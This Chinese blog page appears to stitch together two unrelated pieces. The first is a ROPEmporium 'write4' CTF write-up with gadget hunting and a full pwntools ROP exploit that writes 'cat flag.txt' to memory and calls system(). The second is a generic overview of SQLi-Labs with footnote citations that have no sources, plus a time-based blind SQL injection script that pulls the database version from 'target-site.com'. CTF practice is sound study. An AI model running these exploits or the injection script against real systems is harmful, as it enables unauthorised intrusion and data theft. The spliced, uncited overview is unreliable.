ROPEmporium通关全解(四)

前言
1.关于ROP
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)
ROP是一种攻击技术,其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。
2. 本系列rop实战题目的背景
来自ROPEmporium
旨在通过解决一系列挑战来一步步进阶学习ROP利用技术。

操作
来到第四关
先通过rabin2 看一下基础的文件信息
在这里插入图片描述
或者也可以通过radare2查看是否设置了NX
在这里插入图片描述可以看到NX位已经被设置了。
在前面的实验中当我们需要打印flag时,用的是文件自身的字符串,我们看看这题里有没有,直接使用strings配合grep过滤
在这里插入图片描述可以看到,这种字符串是不存在的
接下来先看看涉及的函数
在这里插入图片描述
看看usefulFunction里会不会有我们需要的信息,反汇编它
在这里插入图片描述在上图中我们看到,我们调用了system(),不过传给system的是/bin/ls,也就是说会执行ls命令
不过我们想执行的是cat flag.txt的命令,因为二进制文件中不存在这种字符串,所以我们需要手动进行。
首先需要考虑的是,把cat flag.txt写到哪个地址
在这里插入图片描述我们关注输出的section headers部分。
可以看到打印出一系列的section,我们需要在其中找到一个合适的,在其中我们可以写入值。
在这里插入图片描述一般我们都会选择写到data,上图中找到了一个data,地址是0x601050,我们使用readelf看看在这个section里有没有什么数据
在这里插入图片描述
可以看到这个地址是空的,所以我们写入这里是ok的
接下来我们还是需要ropgadget找到特定的gadget让我们能够将字符串放入这儿
在这里插入图片描述
这里打印出了很多gadget,那么我们需要怎样的呢
首先这个gadget要能够将值写入内存地址,在汇编中一般是通过mov体现,比如MOV [r0],r1这样子,这条汇编的意思是将值从寄存器R1移动到寄存器R0所保存的内存地址处。
下图红色选中的就符合要求
在这里插入图片描述地址是0x400820
现在我们可以将值写入内存了,但是我们还需要pop,才能将值写入寄存器中
在这里插入图片描述
地址为0x400890
我们还需要返回并获取system()的地址,并且为了将字符串的地址作为调用system()时的参数,还需要pop rdi
在这里插入图片描述
地址是0x400893
现在关键的地址都有了,可以编写我们的exp了
关键点包括:
使用pop gadget将字符串的地址和字符串放在寄存器中
使用mov gadget将字符串放入给出的内存地址中
使用pop rdi gadget将字符串的地址放入寄存器
调用system(),它使用已经保存了字符串地址的rdi寄存器作为参数寄存器
完整的代码在4.py

from pwn import *

def place_string_at_address(mov_gadget_address, pop_gadget_address, string_address, string):

     
     while len(string) % 8 != 0:
          string += "\x00"

     splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]
     payload = ""
     for i in range(len(splitted_string)):
        
          # Place the gadgets into the payload.
          payload += p64(pop_gadget_address)
          payload += p64(string_address + (i * 8)) 
                                                   
          payload += splitted_string[i]
          payload += p64(mov_gadget_address)

     return payload

# 40 bytes of random data.
offset = 'A' * 40

offset += place_string_at_address(0x400820, 0x400890, 0x601050, "cat flag.txt")

offset += p64(0x0000000000400893) # Address of pop rdi
offset += p64(0x0000000000601050) # Address of string
offset += p64(0x00400810)         # Address of system()

print(offset)


运行后如图,拿到了flag

拿到了flag


题目来自ROPEmporium,另参考如下资源:

https://medium.com/@int0x33/
https://paper.seebug.org/272/
https://www.rootnetsec.com/
https://bestwing.me/ropemporium-all-writeup.html
https://firmianay.github.io/2017/11/02/rop_emporium.html
https://www.oipapio.com/cn/article-5389490
http://ascii.911cha.com/
https://www.bejson.com/convert/ox2str/
https://larry.ngrep.me/2018/06/14/rop-emporium-write-up/
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf
https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
https://www.jianshu.com/p/a9ad38ad33e5
https://zhuanlan.zhihu.com/p/27339191
https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html

### 关于 SQLi-Labs 的全面解决方案 SQLi-Labs 是一款经典的 Web 安全学习工具,主要用于练习和掌握 SQL 注入技术。以下是针对 SQLi-Labs 靶场的全部关卡解决方案概述。 #### 一、基础环境搭建 在开始解决各个关卡之前,需要确保靶场已成功部署并运行正常。可以通过以下方式完成安装: - 下载 SQLi-Labs 源码包,并将其放置到本地服务器的 `www` 或者 `htdocs` 文件夹下。 - 启动 Apache 和 MySQL 服务后,在浏览器中输入地址 `http://127.0.0.1/` 访问站点[^2]。 如果遇到权限问题或者无法创建临时文件的情况,则需调整目标目录的读写权限设置[^3]。 #### 二、各关卡解析思路概览 ##### Less-1 到 Less-4 这些初级题目主要考察基本的手工注入技巧以及如何利用单引号闭合查询条件来绕过验证机制。例如,在第32关里提到的方法同样适用于此阶段——即尝试向参数附加特殊字符如 `%df`,进而观察返回结果的变化情况从而推测内部逻辑结构[^1]。 ##### 中级挑战 (Less-5 至 Less-16) 随着难度增加,中级部分引入了更多复杂的场景比如时间延迟型盲注(Time-based Blind Injection),布尔型盲注(Boolean-based Blind Injection)等概念。对于这类问题通常采用如下策略: ###### 时间基线测试法 当面对不可见反馈信息时,可通过构造特定payload让数据库执行耗时操作以间接获知某些细节。举个例子来说就是下面这个Python脚本片段展示了如何去探测当前使用的DBMS版本号的一部分内容: ```python import time import requests def get_db_version(): version = "" index = 1 while True: found_char = False for char_code in range(33, 126): # ASCII printable characters payload = f"' OR IF(SUBSTRING(@@version,{index},1)=CHAR({char_code}),SLEEP(5),NULL)-- " start_time = time.time() try: res = requests.get(f"http://target-site.com/vulnerable-page?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: version += chr(char_code) print(f"[+] Found character: {chr(char_code)}") index += 1 found_char = True break except Exception as e: pass if not found_char: break return version print(get_db_version()) ``` 上述代码通过不断改变SUBSTRING函数中的位置索引来逐字提取数据表的名字或者其他敏感资料[^4]。 ##### 高阶难题 (Beyond Level 16) 更高层次的任务往往涉及到联合查询 UNION SELECT ,堆叠式多条命令 Stacked Queries 及其他高级手法的应用场合。此时除了要具备扎实的基础理论功底之外还需要灵活运用各种编程语言编写自动化攻击程序辅助分析过程。 --- ### 注意事项 尽管本文提供了大量实用的技术指导方针,但在实际动手实践过程中仍需注意安全伦理规范,仅限于授权范围内的渗透测试活动之中应用所学知识技能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值